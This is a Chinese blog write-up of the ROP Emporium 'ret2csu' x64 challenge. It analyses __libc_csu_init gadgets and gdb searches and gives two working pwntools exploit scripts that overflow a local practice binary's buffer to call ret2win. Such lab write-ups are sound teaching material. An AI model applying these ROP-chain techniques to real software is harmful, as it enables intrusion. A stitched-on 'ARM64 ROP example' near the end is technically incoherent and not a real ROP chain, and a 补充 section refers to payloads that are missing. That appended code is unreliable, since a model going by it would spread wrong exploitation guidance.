ret2csu ROP Emporium

14 ret2csu

参考网址

[原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

ROP Emporium - Ret2csu (x64) - blog.r0kithax.com

ROP Emporium ret2csu_白兰王的博客-CSDN博客

ROP-Ret2csu详解 | 偏有宸机

中级ROP之ret2csu_西杭的博客-CSDN博客

WP

现在的ROP Emporium一共有8题,后几道题相比过去的题有了一些变化,国内的新wp也是非常难找,本篇基于 ROP Emporium - Ret2csu (x64) - blog.r0kithax.com ROP Emporium - Ret2csu (x64) - blog.r0kithax.com这位大佬的wp进行部分的解释。

1 分析

溢出函数
int pwnme()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF
​
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("ret2csu by ROP Emporium");
  puts("x86_64\n");
  memset(s, 0, sizeof(s));
  puts("Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.\n");
  printf("> ");
  read(0, s, 0x200uLL);
  return puts("Thank you!");
}
​
​
可以利用函数
void __fastcall __noreturn ret2win(__int64 a1, __int64 a2, __int64 a3)
{
  FILE *stream; // [rsp+20h] [rbp-10h]
  FILE *streama; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]
​
  if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
  {
    stream = fopen("encrypted_flag.dat", "r");
    if ( !stream )
    {
      puts("Failed to open encrypted_flag.dat");
      exit(1);
    }
    g_buf = (char *)malloc(0x21uLL);
    if ( !g_buf )
    {
      puts("Could not allocate memory");
      exit(1);
    }
    g_buf = fgets(g_buf, 33, stream);
    fclose(stream);
    streama = fopen("key.dat", "r");
    if ( !streama )
    {
      puts("Failed to open key.dat");
      exit(1);
    }
    for ( i = 0; i <= 31; ++i )
      g_buf[i] ^= fgetc(streama);
    *(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
    *(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
    *(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
    puts(g_buf);
    exit(0);
  }
  puts("Incorrect parameters");
  exit(1);
}
​
​
# objdump -d ret2csu -M intel | grep ret2win
​
0000000000400510 <ret2win@plt>:
  40062a:       e8 e1 fe ff ff          call   400510 <ret2win@plt>
​
  disassemble ret2win
Dump of assembler code for function ret2win@plt:
   0x0000000000400510 <+0>:     jmp    QWORD PTR [rip+0x200b0a]        # 0x601020

在64位中传参数需要 rdi、rsi、rdx、rcx、r8、r9六个寄存器,但是在ROP中无法,满足控制rdi、rsi、rdx三个寄存器的ROP链。根据题目提示,在__libc_csu_init函数中,构造,如下所示:

打开ida,依旧是惯例的明显栈溢出的pwnme,ret2win中我们可以看到flag是加密后文件,key文件是钥匙,解密后puts,问题在于传参,1,2,3参数需要符合函数。下面内容便在处理如何把参传入并打开函数。

首先打开ROPgadget,并没有直接的pop rdi, rsi, rdx能让我们使用。我们需要去间接的传参。我们提供了这样一条思路:搜索rdi、rsi、rdx

# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdi 
0x00000000004006a3 : pop rdi ; ret
# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rsi
0x00000000004006a1 : pop rsi ; pop r15 ; ret
# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdx

rdx的搜索不到,因此ROP链无法构造。

2__libc_csu_init()

有趣的是,在x86_64ELF 文件上,可以利用该__libc_csu_init()函数作为设置大多数 CPU 寄存器与 ROP 链接的位置。让我们反__libc_csu_init()汇编ret2csu

.text:0000000000400640 ; __unwind {
.text:0000000000400640                 push    r15
.text:0000000000400642                 push    r14
.text:0000000000400644                 mov     r15, rdx
.text:0000000000400647                 push    r13
.text:0000000000400649                 push    r12
.text:000000000040064B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400652                 push    rbp
.text:0000000000400653                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040065A                 push    rbx
.text:000000000040065B                 mov     r13d, edi
.text:000000000040065E                 mov     r14, rsi
.text:0000000000400661                 sub     rbp, r12
.text:0000000000400664                 sub     rsp, 8
.text:0000000000400668                 sar     rbp, 3
.text:000000000040066C                 call    _init_proc
.text:0000000000400671                 test    rbp, rbp
.text:0000000000400674                 jz      short loc_400696
.text:0000000000400676                 xor     ebx, ebx
.text:0000000000400678                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400680
.text:0000000000400680 loc_400680:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400680                 mov     rdx, r15
.text:0000000000400683                 mov     rsi, r14
.text:0000000000400686                 mov     edi, r13d
.text:0000000000400689                 call    ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D                 add     rbx, 1
.text:0000000000400691                 cmp     rbp, rbx
.text:0000000000400694                 jnz     short loc_400680
.text:0000000000400696
.text:0000000000400696 loc_400696:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400696                 add     rsp, 8
.text:000000000040069A                 pop     rbx
.text:000000000040069B                 pop     rbp
.text:000000000040069C                 pop     r12
.text:000000000040069E                 pop     r13
.text:00000000004006A0                 pop     r14
.text:00000000004006A2                 pop     r15
.text:00000000004006A4                 retn
.text:00000000004006A4 ; } // starts at 400640
​
​
​

从上面发现下面两段可用链

​
第一段:
.text:000000000040069A                 pop     rbx
.text:000000000040069B                 pop     rbp
.text:000000000040069C                 pop     r12
.text:000000000040069E                 pop     r13
.text:00000000004006A0                 pop     r14
.text:00000000004006A2                 pop     r15
.text:00000000004006A4                 retn
​
第二段:
​
.text:0000000000400680                 mov     rdx, r15
.text:0000000000400683                 mov     rsi, r14
.text:0000000000400686                 mov     edi, r13d
.text:0000000000400689                 call    ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D                 add     rbx, 1
.text:0000000000400691                 cmp     rbp, rbx
.text:0000000000400694                 jnz     short loc_400680
​

3两段利用链分析

(1)在第一段中数据出栈,利用第二段中的mov把数据移到对应寄存器。

(2)寄存器与数据分析

rdx--->r15

rsi--->r14

edi--->r13d(后续需要重新针对rdi赋值)

call [r12+rbx*8] 此处调用rbx赋值为0,即变为调用r12寄存器中数据指向的函数

类似于取(*($r12))的值。

add rbx, 1

cmp rbp, rbx

jnz short loc_400680

rbx值为1时,cmp比较相等,jnz不跳转,因此rbx赋值为1

(3)现在需要确定call [r12+rbx*8]处r12的赋值

(4)第一段gadgets执行结束后,接着执行第二段gadgets。但是第二段gadgets执行结束后,没有ret返回,查看__libc_csu_init汇编代码,发现继续执行第一段gadgets直到执行到ret结束。在此第二段的执行代码为

.text:0000000000400680                 mov     rdx, r15
.text:0000000000400683                 mov     rsi, r14
.text:0000000000400686                 mov     edi, r13d
.text:0000000000400689                 call    ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D                 add     rbx, 1
.text:0000000000400691                 cmp     rbp, rbx
.text:0000000000400694                 jnz     short loc_400680
.text:0000000000400696
.text:0000000000400696 loc_400696:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400696                 add     rsp, 8
.text:000000000040069A                 pop     rbx
.text:000000000040069B                 pop     rbp
.text:000000000040069C                 pop     r12
.text:000000000040069E                 pop     r13
.text:00000000004006A0                 pop     r14
.text:00000000004006A2                 pop     r15
.text:00000000004006A4                 retn

add 与pop后需要出栈7次,然后返回,如下图要接后续ROP需要压入7个p64(0)或者压入56个字节

 

(5)rdi数据不能正确获取,需要重新获取使用

p# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdi 
0x00000000004006a3 : pop rdi ; ret

4 call

指令调用位于指向的内存地址的函数r12 + rbx * 8。由于我们需要执行一个作为内存地址指针的值,我们有几个选择:

  • 将我们选择的地址写入可写段,并使用可写段作为要取消引用的地址。

  • 将任意值压入堆栈,以便r12 + rbx*8指向它。因此,任意堆栈值应指向ret2win.

  • 在 ELF 文件中搜索包含表示可执行代码有效地址的字节序列的数据。

对于这个挑战,只有第三种方法可行。

我们需要的是一个地址,这个地址上存了一个地址,存的这个地址上存的才是我们想要的ret。我本来也是想试着把ret的地址存到某一块已知位置,但未能实现,这里采用的是大佬的方法。

# ROPgadget --binary ret2csu --only "pop|ret|add|sub"
Gadgets information
============================================================
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
执行此处ROP后,rsp没有变化,ret后可以返回原来位置

5gdb中查找指定数据存储位置

例如,查找“0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret”中,地址0x00000000004006b4存储在哪个单元。

(1)gdb 启动ret2csu ,设置断点,b main 然后r运行

(2)查看程序所占区域

pwndbg> info proc mappings
process 86225
Mapped address spaces:
     
     Start Addr           End Addr       Size     Offset objfile
        0x400000           0x401000     0x1000        0x0 /home/wdp/Desktop/pwn/rop/ret2csu
        0x600000           0x601000     0x1000        0x0 /home/wdp/Desktop/pwn/rop/ret2csu
        0x601000           0x602000     0x1000     0x1000 /home/wdp/Desktop/pwn/rop/ret2csu
  0x7ffff780a000     0x7ffff79ca000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
  0x7ffff79ca000     0x7ffff7bca000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
  0x7ffff7bca000     0x7ffff7bce000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
  0x7ffff7bce000     0x7ffff7bd0000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
  0x7ffff7bd0000     0x7ffff7bd4000     0x4000        0x0 
  0x7ffff7bd4000     0x7ffff7bd5000     0x1000        0x0 /home/wdp/Desktop/pwn/rop/libret2csu.so
  0x7ffff7bd5000     0x7ffff7dd5000   0x200000     0x1000 /home/wdp/Desktop/pwn/rop/libret2csu.so
  0x7ffff7dd5000     0x7ffff7dd6000     0x1000     0x1000 /home/wdp/Desktop/pwn/rop/libret2csu.so
  0x7ffff7dd6000     0x7ffff7dd7000     0x1000     0x2000 /home/wdp/Desktop/pwn/rop/libret2csu.so
  0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
  0x7ffff7fd8000     0x7ffff7fdb000     0x3000        0x0 
  0x7ffff7ff6000     0x7ffff7ff7000     0x1000        0x0 
  0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]
  0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
  0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
  0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
  0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
  0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

在前三行数据中,显示了ret2csu所占的内存区域为0x400000 -0x401000、 0x600000-0x601000、0x601000-0x602000三个区域

     Start Addr           End Addr       Size     Offset objfile
        0x400000           0x401000     0x1000        0x0 /home/wdp/Desktop/pwn/rop/ret2csu
        0x600000           0x601000     0x1000        0x0 /home/wdp/Desktop/pwn/rop/ret2csu
        0x601000           0x602000     0x1000     0x1000 /home/wdp/Desktop/pwn/rop/ret2csu

(3)在每个区域中搜索“0x00000000004006b4”

pwndbg> find /g  0x400000 , 0x401000,0x00000000004006b4
warning: Unable to access 4097 bytes of target memory at 0x400000, halting search.
Pattern not found.
​
pwndbg> find /g  0x400000 , 0x400fff,0x00000000004006b4
0x4003b0
0x400e48
2 patterns found
​
pwndbg> find /g  0x600000 , 0x601000,0x00000000004006b4
0x6003b0
0x600e48
2 patterns found.
​
pwndbg> find /g  0x601000 , 0x602000,0x00000000004006b4
warning: Unable to access 4097 bytes of target memory at 0x601000, halting search.
Pattern not found.
pwndbg> find /g  0x601000 , 0x601fff,0x00000000004006b4
Pattern not .
注,在搜索报错“warning: Unable to access 4097 bytes of target memory at 0x601000, halting search.”,由于范围为[起始值,结束值),区域中不包含结束值,结束值减一即可。例如“find /g  0x601000 , 0x601fff,0x00000000004006b4”
​
​
pwndbg> x/gx 0x400e48
0x400e48:       0x00000000004006b4
​

找到在地址0x400e48中,数据0x00000000004006b4指向“sub rsp, 8 ; add rsp, 8 ; ret”r12赋值为:0x00600e48;dereferenceable_addr = p64(0x00600e48)

6 大佬exp分析

很工整,可以试着理解一下的:

from pwn import *
​
# Set the pwntools context
​
context.arch = 'amd64'
context.log_level = 'debug'
​
# Project constants
​
PROCESS = './ret2csu'
io = process(PROCESS)
​
# Debugging
​
'''
gdbscript = "b *0x0040069a"
pid = gdb.attach(io, gdbscript=gdbscript)
'''
​
# ROP Gadgets
​
pop_rdi_ret = p64(0x004006a3)                       # pop rdi; ret;
​
# The third stack value needs to be the RSP value
​
ret2csu_gadget_staging = p64(0x0040069a)            # pop rbx;
                                                    # pop rbp;
                                                    # pop r12;
                                                    # pop r13;
                                                    # pop r14;
                                                    # pop r15;
                                                    # ret
​
ret2csu_gadget_call_offset = p64(0x00400680)        # mov rdx, r15; 
                                                    # mov rsi, r14;
                                                    # mov edi, r13d;
                                                    # call qword [r12 + rbx*8]
​
'''
Pointer to an executable location with the following gadget:
sub rsp, 8;
add rsp, 8;
ret;
'''
dereferenceable_addr = p64(0x00600e48)
ret2win = p64(io.elf.plt['ret2win'])
​
​
'''
R15 = RDX = 0xd00df00dd00df00d
R14 = RSI = 0xcafebabecafebabe
R13 = RDI = 0xdeadbeefdeadbeef
R12 = 0x00600e48
RBX = 0x0
'''
​
# Craft the ROP chain
​
rop_chain = b"".join([
    ret2csu_gadget_staging,
    p64(0),                     # RBX = 0
    p64(0x01),                  # RBP = 0x01; this is important so that we can avoid the conditional jump in __libc_csu_init after calling the dereferenced address
    dereferenceable_addr,       # R12 = pointer to a safe address to dereference
    p64(0xdeadbeefdeadbeef),    # R13 = RDI = 0xdeadbeefdeadbeef
    p64(0xcafebabecafebabe),    # R14 = RSI = 0xcafebabecafebabe
    p64(0xd00df00dd00df00d),    # R15 = RDX = 0xd00df00dd00df00d
    ret2csu_gadget_call_offset, # Call the value of the dereferenced address
​
    p64(0),                     # Align the stack so that after the values pop, we still have control of it
    p64(0),                     
    p64(0),                     
    p64(0),                     
    p64(0),                     
    p64(0),                     
    p64(0),                     
     
    pop_rdi_ret,                # Adjust RDI back to 0xdeadbeefdeadbeef
    p64(0xdeadbeefdeadbeef),
    ret2win                     # Call ret2win with the necessary arguments
​
])
​
# Craft the payload
​
offset = 40
padding = b"A" * offset
payload = b"".join([
    padding,
    rop_chain
])
​
# Send the payload
​
io.clean()
io.sendline(payload)
io.interactive()

​
第一段:
.text:000000000040069A                 pop     rbx
.text:000000000040069B                 pop     rbp
.text:000000000040069C                 pop     r12
.text:000000000040069E                 pop     r13
.text:00000000004006A0                 pop     r14
.text:00000000004006A2                 pop     r15
.text:00000000004006A4                 retn
​
第二段:
​
.text:0000000000400680                 mov     rdx, r15
.text:0000000000400683                 mov     rsi, r14
.text:0000000000400686                 mov     edi, r13d
.text:0000000000400689                 call    ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D                 add     rbx, 1
.text:0000000000400691                 cmp     rbp, rbx
.text:0000000000400694                 jnz     short loc_400680
​

exp

from pwn import *
​
p = process('./ret2csu')
e = ELF('./ret2csu')
​
ret2win_got = e.got['ret2win']
​
ret2win_addr=0x0000000000400510
#a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL
gadgets1=0x000000000040069A
gadgets2=0x0000000000400680 
​
pop_rdi=0x00000000004006a3
​
dereferenceable_addr = p64(0x00600e48)
​
​
payload=b'a'*(0x20+8)
payload+=p64(gadgets1)
payload+=p64(0x0)
payload+=p64(0x1)
payload+=dereferenceable_addr
payload+=p64(0xDEADBEEFDEADBEEF)
payload+=p64(0xCAFEBABECAFEBABE)
payload+=p64(0xD00DF00DD00DF00D)
payload+=p64(gadgets2)
payload+=b'a'*56
payload+=p64(pop_rdi)
payload+=p64(0xDEADBEEFDEADBEEF)
payload+=p64(ret2win_addr)
​
p.recvuntil('>')
p.sendline(payload)
print(p.recvall())
​

补充:ret2csu

网址:[原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr

write 函数原型是 write (1,address,len) ,1 表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度

第一发 payload

 

第二发 payload

read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面

 

第三发 payload

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return-Oriented Programming)是一种利用程序的现有代码块(即gadget)来构造攻击代码的技术。在ARM64架构下,ROP攻击同样适用。 以下是一个ARM64的ROP示例,假设要利用一个漏洞,攻击一个运行在ARM64架构的程序: ```assembly .text main: // 在此处发现了漏洞,可以通过覆盖函数返回地址实现ROP攻击 // ... ret // 恢复到原返回地址 // 假设目标程序中存在以下代码段: // 0x0000000000401020: mov x0, #0x1 ; ret // 0x0000000000401028: mov x1, #0x2 ; ret // 0x0000000000401030: mov x2, #0x3 ; ret // 0x0000000000401038: mov x3, #0x4 ; ret // 0x0000000000401040: blr x5 // ... // 假设我们想执行 mov x0, #0x1 ; mov x1, #0x2 ; mov x2, #0x3 ; mov x3, #0x4 ; blr x5 这条指令序列 // 首先需要找到这些指令的地址(即gadget) mov_x0: mov x0, #0x1 ; ret mov_x1: mov x1, #0x2 ; ret mov_x2: mov x2, #0x3 ; ret mov_x3: mov x3, #0x4 ; ret call_x5: blr x5 ; ret // 构造ROP链 pop_x0_x1_x2_x3: // 用于将x0, x1, x2, x3设置为指定值的gadget ldp x0, x1, [sp, #16] ; ldp x2, x3, [sp, #32] ; ret // 构造ROP链,依次调用mov_x0, mov_x1, mov_x2, mov_x3, call_x5 // 注意:x0, x1, x2, x3的值需要在调用pop_x0_x1_x2_x3之前先压入堆栈中 // 然后通过pop_x0_x1_x2_x3将这些值加载到寄存器中,再依次调用mov_x0, mov_x1, mov_x2, mov_x3, call_x5 rop_chain: // 设置x0, x1, x2, x3的值 // x0 = 0x1 // x1 = 0x2 // x2 = 0x3 // x3 = 0x4 // 先将这些值压入堆栈中 mov x0, #0x1 ; str x0, [sp, #16] mov x1, #0x2 ; str x1, [sp, #24] mov x2, #0x3 ; str x2, [sp, #32] mov x3, #0x4 ; str x3, [sp, #40] // 调用pop_x0_x1_x2_x3,将x0, x1, x2, x3加载到寄存器中 // 该gadget的返回地址是rop_chain + 56,即pop_x0_x1_x2_x3之后的位置 br pop_x0_x1_x2_x3 // 调用mov_x0,将x0设置为0x1 // 该gadget的返回地址是rop_chain + 64,即mov_x0之后的位置 br mov_x0 // 调用mov_x1,将x1设置为0x2 // 该gadget的返回地址是rop_chain + 72,即mov_x1之后的位置 br mov_x1 // 调用mov_x2,将x2设置为0x3 // 该gadget的返回地址是rop_chain + 80,即mov_x2之后的位置 br mov_x2 // 调用mov_x3,将x3设置为0x4 // 该gadget的返回地址是rop_chain + 88,即mov_x3之后的位置 br mov_x3 // 调用call_x5,执行 blr x5 // 该gadget的返回地址是rop_chain + 96,即call_x5之后的位置 br call_x5 ``` 这是一个简单的ARM64 ROP示例,目的是将x0, x1, x2, x3设置为指定值,然后执行bl x5。实际中,ROP攻击可能会更加复杂,需要根据具体情况构造ROP链。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值